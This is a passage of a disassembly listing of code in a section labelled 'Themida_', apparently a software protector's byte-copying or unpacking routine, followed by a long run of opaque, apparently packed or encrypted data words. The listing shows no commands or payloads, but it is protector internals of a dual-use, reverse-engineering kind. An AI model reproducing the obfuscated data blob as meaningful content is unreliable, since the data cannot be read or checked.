mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5494B4 mov esi, edx loc_5494D2: ; CODE XREF: Themida_:005494A7j and al, 0FEh cmp al, 0F6h jnz loc_549507 cmp edi, 7Fh ja loc_549507 test bl, 38h jnz loc_549507 cmp byte ptr [ebp-7], 0 jz loc_549501 movzx eax, byte ptr [ebp-4] jmp loc_549504 ; --------------------------------------------------------------------------- loc_549501: ; CODE XREF: Themida_:005494F2j push 1 pop eax loc_549504: ; CODE XREF: Themida_:005494FCj mov [ebp-1], al loc_549507: ; CODE XREF: Themida_:005494D6j ; Themida_:005494DFj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_54950D: ; CODE XREF: Themida_:005493B7j mov al, bl and eax, 7 sub eax, 4 jz loc_549538 dec eax dec eax jz loc_54952E and bl, 7 add [ebp-1], bl jmp loc_549540 ; --------------------------------------------------------------------------- loc_54952E: ; CODE XREF: Themida_:0054951Dj mov al, [ebp-3] add al, 6 jmp loc_54953D ; --------------------------------------------------------------------------- loc_549538: ; CODE XREF: Themida_:00549515j mov al, [ebp-3] add al, 4 loc_54953D: ; CODE XREF: Themida_:00549533j add [ebp-1], al loc_549540: ; CODE XREF: Themida_:00549529j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_549568 movzx ecx, byte ptr [ebp-1] inc ecx loc_549553: ; CODE XREF: Themida_:00549562j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_549553 loc_549568: ; CODE XREF: Themida_:00549548j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Bh dd 0C98D8DD0h, 6A05E7B9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 53E8C351h, 0DB816612h dd 8D89ACE1h, 5E20BE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0ABC35646h, 77873FE3h, 0C1950975h, 8B05E222h dd 0E22B1185h, 6185C705h, 7005E207h, 6A000073h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 1BA0C351h, 0A4975C90h, 85C75370h, 5E21B55h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ADC35040h dd 95338B4Fh, 5E20655h, 10E5B5FFh, 6A05E2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89E339C3h dd 0E20B75BDh, 1595FF05h, 6A05E20Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 98BAC353h dd 1E57B599h, 0FF006A4Ch, 0E20AB995h, 0EBC08B05h, 4219617Fh dd 24516528h, 4AFE220Bh, 68EAB034h, 51419E34h, 8F2EB188h dd 0F6F79Bh, 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h dd 837FD023h, 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h dd 0E35F8B90h, 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h dd 0C8790131h, 28B634C0h, 0B4BD2B19h, 8ED918ACh, 1845A44Ah dd 2FDB7FD8h, 912617A5h, 43457188h, 0DB188EF7h, 4AFF6AE6h dd 93F545FBh, 15CE9h, 471F4300h, 5F4BFDF1h, 4D58AF97h dd 4656340Bh, 45567F52h, 4E58500Bh, 65717E52h, 37247E3Bh dd 17255B52h, 0A37945C5h, 70B68361h, 1148852h, 1151052h dd 1141C52h, 1140A52h, 1140752h, 1148352h, 114EE52h, 114E052h dd 1147852h, 1143852h, 726D4F52h, 1796B26h, 6E665772h dd 7267E631h, 114C10Fh, 114E052h, 1147052h, 1143852h, 1141C52h dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h dd 1143852h, 1141C52h, 0B546E652h, 1678E92Ch, 99680000h dd 0E905E7BDh, 0FFFB9210h, 0E7BE9F68h, 9206E905h, 5368FFFBh dd 0E905E7BFh, 0FFFB91FCh, 0E7C03E68h, 91F2E905h, 1A68FFFBh dd 0E905E7C2h, 0FFFB91E8h, 0E7C39468h, 91DEE905h, 7B68FFFBh dd 0E905E7C4h, 0FFFB91D4h, 0E7C58568h, 91CAE905h, 5B68FFFBh dd 0E905E7C7h, 0FFFB91C0h, 0E7C83868h, 91B6E905h, 0F068FFFBh dd 0E905E7C8h, 0FFFB91ACh, 0E7C9A168h, 91A2E905h, 0C268FFFBh dd 0E905E7CAh, 0FFFB9198h, 0E7CFBA68h, 918EE905h, 9968FFFBh dd 0E905E7D0h, 0FFFB9184h, 0FF82DD58h, 375AA703h, 70176ACBh dd 4AED328Eh, 89A8F374h, 63C470AFh, 29897918h, 0EE4DB5D4h dd 0B2328C93h, 0C860CA6Dh, 5F7C2B5h, 0ED8567A0h, 7E5AA703h dd 2F8F11B9h, 0D1AAC7D1h, 56A5EDB3h, 44199075h, 0A6062867h dd 0B499E644h, 96ED7195h, 0D23967FAh, 5734ABCFh, 2974F739h dd 0BCBBD64Fh, 0C3A00B94h, 2B63F296h, 0E883E8F2h, 7C54A706h dd 5ED8h, 294DEF00h, 7BF8C652h, 0FCD4E920h, 0CB2FC964h dd 15BAABCFh, 28E5C8BEh, 32C55821h, 0F7A00B1Ah, 89593714h dd 4E934B7h, 0DB28826Ch, 68A18F5Ch, 9FE7CF10h, 8F80B2BAh dd 69E78CA1h, 829EA00Bh, 3661BE3Ch, 7E023B15h, 0E8CBB7F7h dd 1C9A6483h, 8B7B48C7h, 86A7D22Fh, 0C0AEAAh, 47310000h dd 0CCA4F979h, 0C22082E2h, 5111987Dh, 3A0473CEh, 0E5CB65BAh dd 0DAC04584h, 3A783BC7h, 2F09DA55h, 1B68C8F6h, 0BAE5D974h dd 62C2A5ECh, 24847A1Dh, 0AA3250DFh, 901847D1h, 0F2AC91B7h dd 0EC0119F7h, 0ABCEAD64h, 51F59477h, 47DA760Dh, 0A5EEFDAAh dd 67E88063h, 794697FBh, 0D46C4439h, 0AAF572BCh, 3C7FE0CEh dd 0B442A51Dh, 25305E19h, 3E0C39Ah, 5157D388h, 0B3EC0D7Ch dd 13E7h, 4FD22D88h, 87AAF773h, 0C067BA3Bh, 1A3D82FEh dd 59F843A4h, 0B33480FFh, 79F9C968h, 3EBD0524h, 2625CE3h dd 98B09ABDh, 5F67205h, 0E2D5B7A0h, 2C338E11h, 630D52D2h dd 722D2FFCh, 0BF99FDC4h, 294D59AEh, 13AEC652h, 0A5EDB368h dd 800F52D3h, 12FEDDA3h, 0CC15E77Ah, 3B18ABCFh, 9BD2A1FCh dd 0DE41A00Bh, 0C92A1483h, 0D7B4096Bh, 0F197C258h, 286F33Fh dd 0E8FD3B73h, 0CBE483h, 11EB0000h, 0ADC7328Fh, 0A49EE343h dd 93B0FF44h, 2578FBC5h, 0F8E2C40Bh, 3E38FFA7h, 7A44DB52h dd 2FA5ED35h, 16D870CDh, 0F8CD4497h, 19E77110h, 846A469Bh dd 7E799424h, 0A3A5ED2Bh, 2B85768Bh, 0C9AAA5EDh, 876907E4h dd 885DD429h, 0D11569A0h, 0D1039EBAh, 4ABCF5Ch, 8065BA3Ah dd 0EBA467E8h, 0DA725BEFh, 0A7CF6FFEh, 332944ECh, 0CEA5F008h dd 0FA7D43EDh, 0BD3E80A7h, 77A2FF7Fh, 4B1A7156h, 617C4FDFh dd 12E15708h, 338E0000h, 0FD7949E8h, 0C02181A0h, 88E4DA7Dh dd 49AA143Bh, 86F953F6h, 0CB6EB132h, 72A77F7h, 5EE13CBBh dd 9CA30060h, 74079AB6h, 0B9A005F5h, 8E11E0DBh, 52D22C33h dd 0D42E9010h, 5E23008Fh, 0A2DF2D3h, 4E8F11BDh, 0AB69BC18h dd 76A1868Fh, 0F49BE848h, 0D950AB0Ah, 2E4A9719h, 0ED48AEA1h dd 15E30848h, 0DB160174h, 3D50F893h, 0ABCF0A7Fh, 0F13F593Ah dd 0D945136Eh, 9526B044h, 0CCAC3397h, 0C96A9DABh, 1559EBC5h dd 0EDBFD27Eh, 90AE63B8h, 0BE2644B3h, 0C216ABC5h, 2DA88506h dd 5CDC224Eh, 27876907h, 936FFEDAh, 9859CC11h, 0A879BC76h dd 122D1041h, 0E7420000h, 0B10DF594h, 74F5CD6Ch, 3CB80629h dd 0FD7E40E7h, 7AB59FA2h, 0F126DCEh, 4BEE33B3h, 82A5F877h dd 0C067BC3Ch, 0B843DE6Ah, 7DA005F4h, 7947AC9Fh, 5B68A7FAh dd 0EC31B37Dh, 0E69DC1A5h, 0E4D9374Ah, 9774ABCFh, 0B4C961F9h dd 0A00B81C3h, 0FE88B68h, 14A00B82h, 9277CC2Ah, 0C20DA7C6h dd 9B132C92h, 3E83FF27h, 2FB17F59h, 9FC7A7D2h, 0B4314CE4h dd 5DA5F2DBh, 8CECD27Eh, 54D71937h, 0C1489314h, 0C7271FFCh dd 658F9E7Ah, 0EB4CBAFAh, 0ECC4A469h, 0D25DA202h, 39572CB0h dd 0B2578F7h, 237F05F6h, 6F492A9Ah, 390FBAD7h, 0DBB8A00Bh dd 0ACF173BDh, 0A7FC638Dh, 6CDCFA59h, 94088D0Dh, 7459BF04h dd 0D52D29Ch, 77CE082h, 8EEFD169h, 0AC71CE2Eh, 0C753A9C4h dd 10EE9A1Eh, 0FCC14893h, 0F5F58C1Fh, 96E3881Bh, 1142D9h dd 8FD22F00h, 479C16E8h, 1C5FDE20h, 0DA27857Dh, 95E84BB7h dd 0D1659AF2h, 926CF34Eh, 56A8CF14h, 1FE386D9h, 5521409Dh dd 0F3D7A03Dh, 7E5CA005h, 338E118Dh, 4E58DB25h, 0EDB34833h dd 290EEDA5h, 28963E4Fh, 8E9C74C7h, 0EE032D66h, 0ABCFCA12h dd 0FFC34E2Dh, 0A101207Dh, 3E83FF3Fh, 284CDE59h, 0B4ADF24Eh dd 0E3D92098h, 0BFD9BED8h, 4B5DD927h, 0AD14536h, 2409EAA0h dd 5DF0D8EDh, 0A5ECFCAFh, 8C6F82AAh, 919A28A6h, 2C6FF0B2h dd 55E3C0E5h, 47B20F6Bh, 7B138A66h, 79FB3ACEh, 7DE10524h dd 29D76A06h, 4CA00ABDh, 90DE9934h, 60439446h, 5CDBB888h dd 2380FAC4h, 0F38ED7F4h, 206832E3h, 53D59B75h, 79499413h dd 54C3A0FDh, 7AB50A6Ah, 6EA9F674h, 0F127DD14h, 0BA27DD94h dd 0F1F2B215h, 0B9977BCCh, 204843ABh, 2887EF8Dh, 0C6694A9Ah dd 0EC2B78F8h, 646BE291h, 8ED3518Eh, 7FBF3F03h, 55DCA1FCh dd 5EB00D6Dh, 43C355EBh, 61C352F6h dd 0BBD37D1Ch, 644B5526h, 1A65C48Eh, 9EACE9Fh, 82DF412Fh dd 94EF7717h, 7C9F61FCh, 75DA9446h, 0C3D77E90h, 0E6C692FEh dd 0C4E46B05h, 0A3250585h, 52293810h, 3249AD06h, 0AA78B926h dd 0C598FD37h, 0B3901F62h, 625A75EEh, 971ABC99h, 0E10CA1B9h dd 3A8E698Dh, 0C53CB59h, 234A5637h, 71E16279h, 8421A920h dd 84E7C9A7h, 3178C324h, 0ADC04F2Ch, 829A1BC6h, 49ABCD11h dd 0D29DCF88h, 7F5CED81h, 224E1330h, 1CDF728Ah, 18299BFh dd 963B5622h, 4F888178h, 7AFAC46Ch, 0DF30B25h, 0BD857AAh dd 0B2038F68h, 0D9B7947Ch, 0A9F67648h, 93C9166Eh, 70751226h dd 9D1EE0C8h, 2581E15Fh, 0AF8C51D8h, 0A3B253CAh, 7FBA99C4h dd 0F6602h, 53AE0B00h, 2B78F2CCh, 0E03BBA04h, 0BE036141h dd 79C4279Bh, 0B5017ED6h, 7648EF32h, 3A84ABF8h, 0E3DF62BDh dd 311D3C81h, 0F1F38419h, 5A38A005h, 338E1161h, 0D52D22Ch dd 0FA3CBC82h, 0C940257Ah, 93EFD149h, 16E2C34Eh, 0A6AA95Fh dd 0EE039BB5h, 0A5EDB40Dh, 0C6673112h, 0CB1574B8h, 1AC1D89h dd 11A20000h, 0FBC7328Fh, 0A20C2479h, 5A1DB048h, 0DFA5EDB3h dd 0B3901FFCh, 0BE2644E5h, 0A16ABC5h, 65ABCFD2h, 0B52DAFAh dd 0A03D68F7h, 0A00AC2D7h, 0A89A7F5Ch, 0AABBF649h, 9124ABC5h dd 6906D0A9h, 83DE5F27h, 20593714h, 81030748h, 520A530Eh dd 0B2F7A9B6h, 0B7A88DC0h, 37985FD9h, 172A064Bh, 0A00B1C60h dd 820D50D3h, 0B6E13EBCh, 49DF65DCh, 65F094CDh, 83E87A29h dd 2FCAh, 294D1D00h, 6691EC4Fh, 65094639h, 0CD92F6A7h dd 462B76F5h, 7E5972Ah, 6B48ABCFh, 0D7A2512Ch, 6C25A00Ah dd 39111DD8h, 0B6B283E8h, 5000000h, 0A5F87947h, 0B17F596Ah dd 0CDA7D22Fh, 0F13885E3h, 0B93A04ECh, 68A7FA7Bh, 0B00D6B5Bh dd 0B4CCA4D3h, 0EDB35E19h, 7EFDC3A5h, 0F2D7F423h, 8BD85826h dd 60C2220Ch, 6D7EB906h, 0EACF1295h, 0B8162847h, 31B3A5EDh dd 8B234DECh, 0EDAE8576h, 0EFC9AAA5h, 0D662195Dh, 0D25F23BBh dd 57E1C2ABh, 94BB0669h, 2776C92Ah, 766D8970h, 0EC6C2554h dd 8500000Dh, 4CB2D528h, 348AADF2h, 0FBC76AB5h, 0A101207Dh dd 0F45CE33Eh, 51AC0FBBh, 2D72F0CEh, 0E437B40Ah, 0A6FB7D45h dd 29FAB83h, 0A005F079h, 11EBDCBEh, 12E5788Eh, 17A5EDB4h dd 98305734h, 0AF89D656h, 7F025FC1h, 328F118Ah, 44E9B926h dd 0F476E9B8h, 5BDDE51Ch, 39F7E87Ah, 6247356Ch, 13CB89D6h dd 285255DAh, 5FC12140h, 6FF79702h, 36B27C14h, 0DA770FE9h dd 0ABCF4C1Eh, 0BC017F41h, 7917F4D4h, 77E835B7h, 0A7204A01h dd 9BAA862Eh, 74456h, 8E119D00h, 23ACC433h, 0CE5FE11Ch dd 0B2CFA936h, 0A5ED30C5h, 0FBCBCC10h, 299A8EF5h, 819AAEEBh dd 0AEC5CFC0h, 250A55D4h, 596CC40Bh, 85ADAA2Dh, 0ABE63BBDh dd 0BA6BE9Ah, 0ABD539CEh, 0D21C3417h, 946A0D52h, 7E40CF14h dd 0AE6BA2FDh, 6E7670C3h, 0D05560Bh, 0F6A0000h, 0D955ADCCh dd 9C1DE584h, 64C03E41h, 2586781Fh, 0A2DDB7DAh, 274A9516h dd 63065BDBh, 0BADD209Fh, 0F89FE444h, 906B8692h, 95A005EFh dd 2F47C4B7h, 0EDB3E992h, 0F4704EA5h, 0EECAAFh, 0C53D5C9Fh dd 59A40363h, 0D73DC74h, 0F5861B5Eh, 3AA5ED0Fh, 26960859h dd 0AE9009E7h, 1886F14Eh, 18989B21h, 121AA4CBh, 0B389CA60h dd 3Ch, 0F9794704h, 0AA246DA4h, 0DEAEEFB3h, 5ADAA489h dd 0DFB98A05h, 0ECD8EF42h, 74AAABA5h, 5EFFFFFDh, 280899C6h dd 94ABA927h, 0ED9DFEF9h, 7CC13DA5h, 9E59F49Ch, 83A5ED9Dh dd 2F5C3A0h, 0E9922F47h, 4EA5EDB3h, 9EE836Dh, 54A5EDB4h dd 40DD7B10h, 0ABD56E1Dh, 5823BED6h, 0DDA005F9h, 0B17F19FEh dd 734FD22Fh, 8F64D0F1h, 8984778Ah, 0CAA9A006h, 9E5FC399h dd 0D1519FB9h, 0BE3D058Ch, 7BB29E63h, 3AB4F477h, 2A84AAE5h dd 0A4895AD5h, 3C015EDAh, 70BA3AE9h, 0CE83F676h, 0BFBh dd 0A3C61994h, 0FB9EE35Fh, 345BA607h, 0E116ECAh, 4DEC2FB0h dd 9718ACE3h, 5DDD2544h, 22816100h, 0E646B8DFh, 849CF699h dd 5EE8E69h, 0C6B193A0h, 0C7328F11h, 0ED2479FBh, 6BCB3565h dd 7D033A16h, 46E936B6h, 0CB14F438h, 159D89h, 47220000h dd 3CB8F879h, 1B3602E7h, 0A5EDBD96h, 0FC95430Ch, 4D6AFFFFh dd 0F3841929h, 38A5EDB3h, 47DA765Bh, 0ABCFB469h, 0B5C84724h dd 0A00BB2BFh, 7A27A8C0h, 86D958FEh, 0B4293A0Bh, 0A8A18F43h dd 83085714h, 5324B90Eh, 0D8A00B5Eh, 0EC326AFBh, 0C04F9412h dd 0C321EE3h, 83E83F00h, 8ED3539Dh, 2562203h, 17Ch, 5C1847D5h dd 0A2594556h, 72314C24h, 1CA5ED9Bh, 0B641DC74h, 7BA5ED9Ah dd 1EC0B098h, 0C03E419Eh, 0F9940360h, 0A5ED9B62h, 2DE89CD5h dd 0B3D376CBh, 1D256C2Fh, 922A469Bh, 0ED9A7C7Fh, 0F6C2A1A5h dd 0B4096B57h, 9AC1267Dh, 8CE4A5EDh, 3F7AC522h, 750B422Eh dd 0CAF7AEFEh, 11E5789h, 11980000h, 0D826328Fh, 0BF8C0B58h dd 0FEC058D1h, 6957217Eh, 7797BA07h, 61FC94EFh, 0ABCFD23Bh dd 47DA5536h, 0A00B94B0h, 6FE69AD7h, 83E8F21Fh, 20C0h dd 294D1700h, 0D1ABC652h, 54ABCFCBh, 8E653877h, 31A00B9Bh dd 0FD31C478h, 0A683E8FCh, 0B2h, 2F8F1129h, 6EA98ED3h dd 159CDF40h, 3B76CB2Dh, 0C968B537h, 1FA17AFh, 26A5EDB4h dd 0D2A11C45h, 0BAF5DB80h, 7F0743DEh, 50D0A5EDh, 0C34E91EEh dd 0D87A1DE2h, 3C51FF94h, 0ABD1FE9Eh, 0F74AAB15h, 0F8774919h dd 74596AA5h, 0EA1B44DCh, 6C723994h, 1A9D634Dh, 0E847A9C7h dd 54AABB95h, 0CDAEC3D3h, 52A00835h, 0B479AC71h, 4C766E52h dd 0A25742Dh, 0EF4A0000h, 0B9358DACh, 7CFDC564h, 44A01E21h dd 56658FFh, 42BD97BAh, 72A75F6h, 43E63BBBh, 9ABD007Fh dd 0D87FC424h, 0B04BE672h, 75A005ECh, 7947A497h, 596AA5F8h dd 0D32EB17Fh, 0ADF2724Ch, 8F113D8Ah, 59D82632h, 0CFF32A06h dd 0C071106Dh, 3BDh, 97EC46A8h, 8A6D4B18h, 0D21A0D9Ah dd 0B9079FB9h, 710CE439h, 0ABD56DFDh, 0B7ED3714h, 0A13C542Fh dd 0A5E81087h, 96EE290Ah, 9D7BC828h, 23E0F380h, 66FE8A9Ah dd 23E030CBh, 3A16F59Ah, 0B6F67D03h, 5F7E013Eh, 31Eh, 0B3B54260h dd 572FA5EDh, 0AEA5EDB3h, 0B400FB16h, 5B25A5EDh, 3A0B86DBh dd 85E97B55h, 85CA620Eh, 0F124A3DDh, 49E4CC6Eh, 0ABCF4A27h dd 0BA6F2DB2h, 8187B436h, 0A1F4D7B7h, 766BA316h, 48027FBAh dd 29000009h, 10EE71CCh, 0D8264996h, 9F630659h, 45BDDC21h dd 90F89FE2h, 0F548AB1Fh, 0B10E6C52h, 88D350AEh, 4A9719E9h dd 9E334F27h, 0A005EBDDh, 47976042h, 6CABF679h, 0DB9C315Fh dd 40A5EDB3h, 49AB9563h, 18308DE9h, 0EDB3F285h, 775437A5h dd 0FD7F41D9h, 395469A0h, 0A5EDB33Eh, 0F4237EFDh, 4612F1D7h dd 5C37BFCFh, 6E589934h, 0EAC9ABD5h, 0C4BF2747h, 0B3E411ACh dd 6E4DA5EDh, 0E444AAC2h, 6FCFB19Fh, 3BE00F12h, 7A9A1E40h dd 0AF49BF4h, 16D857ACh, 89D65496h, 0C1228CA4h, 0B30F337Eh dd 76AF896Eh, 9DBBD014h, 564800h, 7DA88BA0h, 823A63CCh dd 9064DD5Ch, 0E1000008h, 0A8163984h, 906EF14Eh, 57ABCE11h dd 1DE584D9h, 4820479Ah, 0BD0063D7h, 79C6249Ah, 308BE8D6h dd 0F24FD111h, 0D66B076Fh, 0A005EC25h, 4D5F280Ah, 0AEF34F29h dd 0E712AFC9h, 78ABD56Dh, 336E70D7h, 0B65AF46h, 0CC2D36DCh dd 3909E7FAh, 72F03E5Ah, 1CE20A2Dh, 0B0C8479Ch, 6725A1Dh dd 1FFCDFA0h, 92EF4F31h, 0A4DF0767h, 2D8A748Ch, 4685FFAEh dd 0B29730AAh, 0DF2A4BE6h, 18FBA5EDh, 0D63FEF70h, 431CFE82h dd 66E3C75h, 9F1DE38Dh, 1AF6D742h, 0A304EA02h, 83DD7058h dd 769FFFFFh, 0FB39ACE9h, 0A085A9AAh, 3AC4DE75h, 62DF5A82h dd 7DFh, 47EA35B0h, 9FA2FF7Bh, 0D87FC223h, 12358AE6h, 51F04BACh dd 0BB3C8807h, 81E1C160h, 46A51D3Ch, 0A6A54FBh, 0A0B892B5h dd 5EA6A0Dh, 1AEDCFA0h, 0C7328F11h, 0ED2479FBh, 0A5701465h dd 275BFE43h, 89CB10E7h, 12988h, 8F115F00h, 79FBC732h dd 5EB0524h, 0F2D35EA3h, 0ABE00426h, 0D22C708Dh, 7947ABCFh dd 5B68A7FAh, 9A14DA76h, 0A186D958h, 34C35ED7h, 4BA00B94h dd 0A3EB6A1Eh, 4C83E8F2h, 3Ah, 52294D93h, 0CBD1ABC6h, 6A54ABCFh dd 0F14EA80Ah, 0E3C0E52Ch, 2944DCB4h, 0A00B9B4Eh, 9B75069Bh dd 0D9BAA00Bh, 213C14F7h, 0A00B9B52h, 0CD883C75h, 83E8FDC1h dd 9D62h, 8F117500h, 5ED82632h, 63FE9601h, 0A5EDB398h dd 0FFD9BE9Dh, 0AF37B886h, 0EDB36912h, 8EDCEA5h, 0E23FA181h dd 0D4298BB7h, 6E831BB5h, 0A5EDB38Dh, 1DB6CD92h, 68778DCDh dd 1E90AD8Bh, 6BA5ED8Dh, 7195B409h, 67FA96EDh, 0ABD204F7h dd 57AC08F6h, 9718E672h, 5ADD2544h, 0E4479407h, 6881766Dh dd 6BE37h, 0B56D300h, 0C3209A64h, 98E342BCh, 56AB09F9h dd 116CCF33h, 5DE9260Eh, 1EE087DAh, 0C23C43A0h, 8B771A65h dd 0D9B5D429h, 0E94B2C41h, 0F2D0A005h, 338E1139h, 0D52D22Ch dd 8F119D6Ah, 59D82632h, 0CFF32A06h, 0E771106Dh, 6E4A9719h dd 58F1h, 1847F800h, 0B30F0D43h, 4102236Eh, 220EE733h dd 0B63E8FD7h, 0EB4DB3DDh, 0F350AC96h, 0B1C9A784h, 0D49AD31Ch dd 0CD6B48ABh, 30EEF182h, 69075E26h, 4F823D4h, 4D2B08A0h dd 66749C1h, 6998DDBBh, 7F1972FAh, 0ECB292E2h, 80E3CDA5h dd 7D1F23Dh, 67D84427h, 51h, 52294D4Eh, 0E4D9ABC6h, 8F6CABCFh dd 72856D00h, 308AA00Bh, 1E9AA4D3h, 71C856C1h, 4CFD55CBh dd 0BABD21B8h, 83D6C697h, 0FFF815BFh, 24A00B96h, 0F39D6247h dd 0CDAEC35Bh, 52A00B96h, 0FA8AA771h, 4DA5EDC7h, 80FCC26Eh dd 0BB345523h, 0ACh, 52294D32h, 0FB16AEC6h, 0A5EDB400h dd 0FE7C4625h, 7B5576A1h, 0D56E8BE6h, 0D0A784ABh, 0A4F776B8h dd 277869CCh, 0D3DB9A2Eh, 7C83E35Bh, 70h, 52294D43h, 6E47ABC6h dd 0FDDEABD5h, 0B30E6D53h, 0A8896744h, 2A8D847Dh, 1C9658D7h dd 0C96048C7h, 0D29BFD33h, 5B67A72Eh, 410883E3h, 0DF000000h dd 0ED4F294Dh, 8A5B390h, 0ABD56DE7h, 98E3423Ch, 89244C11h dd 0A005F8EEh, 0BC735033h, 6F079849h, 2FCFC9E0h, 649E992h dd 0F46D4EA0h, 0E94B8A07h, 60D9B794h, 0C11519DCh, 0DBE83E3h dd 1000000h, 0EDCD4D42h, 64809A5h, 6FFFFFFFh, 0A7FA7947h dd 5833BBC9h, 6F809D30h, 1AF9ABD5h, 0B83B859Fh, 75F98B65h dd 0D158A503h, 0BF012F0Ch, 7D15E33Eh, 47304DE5h, 0ECA005F8h dd 0E40C210Fh, 37A5EDB2h, 2549DD54h, 6A3D4B12h, 0FC3508F4h dd 6E9EC771h, 4AE6CB15h, 5829237h, 30583BA0h, 82F74CEh dd 5DA21EE0h, 83557E04h, 5C347649h, 43EDA6CEh, 1E2AF32Eh dd 81AF8C9Ah, 0DA7DC03Fh, 53D41AB2h, 0B3926508h, 0B4978E4Eh dd 5EE741DCh, 1CE22675h, 0FBC8479Ch, 8CD1531Dh, 4E9315EDh dd 403BA3C3h, 33F79528h, 7152FC0Ah, 49324FE7h, 0EEF045DDh dd 90EA230Dh, 1090A359h, 0D552ACB3h, 0C7230F8Ah, 3C353F7Ah dd 982E8D88h, 45DD7205h, 29FB7F0h, 0F045DD79h, 1BF8DDBEh dd 0CA30D27Dh, 83502B46h, 0F6D5F046h, 0B81F7D6Dh, 0F271B1D0h dd 0A1E833B2h, 1870BF9Ch, 981658D6h, 1AFFCC4Bh, 97E2CE9Fh dd 853B7260h, 4BEE318Eh, 495FDF21h, 460E4334h, 260BE8F0h dd 18476D4Ah, 4783679Eh, 70CD2BBDh, 3DA7C593h, 81E3CF4Ah dd 1168F53Ch, 46EF46Bh, 0D07754A7h, 7E318EEEh, 0DA56DB0Bh dd 0C7240A85h, 0E8613D74h, 0E34EDC54h, 956D65Dh, 459D59Bh dd 9505F68Dh, 0E960A5EDh, 0CE289653h, 4B250671h, 95B40965h dd 0E573CE2Dh, 709A317Ah, 7642D9E3h, 0D394603Fh, 5139A5ECh dd 0E5B30E6Fh, 0DE5DD86Ch, 16AF583h, 53CE4059h, 0BE833B2h dd 5CF41C2Dh, 0ED0D36C1h, 7264FBA5h, 1791B71Ah, 4CE1CFACh dd 0A5ED7467h, 57D71937h, 63174276h, 0B19647A7h, 0E58B6546h dd 89CA7EAAh, 0FFFF594Bh, 0A39CC3FFh, 867A8616h, 53AF7CBBh dd 0A55098F2h, 8F11ECCBh, 51D32F32h, 0E3453D0Ch, 7783AB9Eh dd 4D9011DFh, 0A952E1C2h, 90A5EDB3h, 7C41C813h, 98D1BF9Ch dd 72CF51E4h, 15206C12h, 53C189CBh, 16000000h, 0C652294Dh dd 0D56E49ABh, 8FFDCABh, 8FEC25DDh, 81FDC54Ch, 9F7CC121h dd 39CF7A10h, 0F42380FAh, 0D44F2D7h, 0A604EA77h, 230DDE59h dd 8AA6DD01h, 0EC2F8C72h, 55E880A5h, 0A005F9A2h, 0B1CCA487h dd 0A5EDB43Fh, 0FB93F1D2h, 826EB335h, 42CDh, 294DE400h dd 78F8C652h, 0F1DFEC2Bh, 6DACC459h, 9C7FABD5h, 86857EADh dd 945AD52Ah, 8E698414h, 93A005F8h, 3AA4D3B0h, 0F967B94Fh dd 165FC80h, 0F8CBACC1h, 7350A005h, 56F82AEh, 18A5EDB3h dd 11EEE93Bh, 0FBC7328Fh, 0A20C2479h, 7011FF44h, 67F18AD2h dd 0CFD1D6CAh, 0A6B291ABh, 3CED6D39h, 328C2FBCh, 0E92008EDh dd 0B25DD9Ah, 13A9E0A0h, 0E8834C40h, 33F583h, 5BA50000h dd 351681DCh, 294D9C5Bh, 40AEC652h, 32139EE1h, 0CB31CB66h dd 72BCABCFh, 0E1C1AFF4h, 0FBF89702h, 82A00B9Bh, 6AA231D7h dd 0B83E8FDh, 0A3h, 328F11DCh, 0F815ADC7h, 0A5EDB3FFh dd 87694724h, 905ED924h, 7A44B310h, 0E03BB8FAh, 0EDD17C03h dd 0DAA5EDB8h, 9C62055Ah, 3A48C71Ch, 27BFD9B2h, 8B065BD9h dd 8943DEBAh, 4CABCFCDh, 42AAC86Fh, 920CEF02h, 3211A00Bh dd 2AAEC36Dh, 0B5A5F045h, 0F374BAD6h, 0B63989A8h, 0A9AD306Bh dd 86F37C4Fh, 1C6C9h, 0F34EAB00h, 0CB18926Ch, 80DB5AA4h dd 5EA301E1h, 1964C73Bh, 55E11E76h, 16E88FD2h, 0DA244B98h dd 837F025Dh, 0D1BDDC21h, 0E45324B9h, 0FAD8A005h, 338E1101h dd 459DB25h, 43A51D2Ch, 4D6E5BFEh, 0AEC65229h, 0B583E040h dd 0CFCBE098h, 0D71C43ABh, 2274CAC8h, 0DAFD1849h, 1AA82324h dd 5CA2FA35h, 371483E0h, 852FC459h, 1B56A00Bh, 0E79EEE65h dd 0B84783E8h, 88000000h, 0C7328F11h, 0B2578FBh, 56C153C4h dd 0A5986D19h, 2B168C12h, 2F663217h, 0ED076E50h, 84D95BA5h dd 469B1DE5h, 5833BBCBh, 1BAB9D30h, 4D2EABCFh, 0C03C822Ah dd 39173463h, 0A0C8C32Bh, 0F649A608h, 8F72071Ah, 0D8BBA5EFh dd 92ED4EB0h, 0DAB85986h, 0FA515BF7h, 7850AB08h, 4B9619E9h dd 506D97D0h, 1F50D97Ch, 0E7h, 4FD22D88h, 87AAF773h, 0C067BA3Bh dd 1A3D82FEh, 59F843A4h, 0B33480FFh, 79F9C968h, 3EBD0524h dd 2625CE3h, 98B09ABDh, 5E37205h, 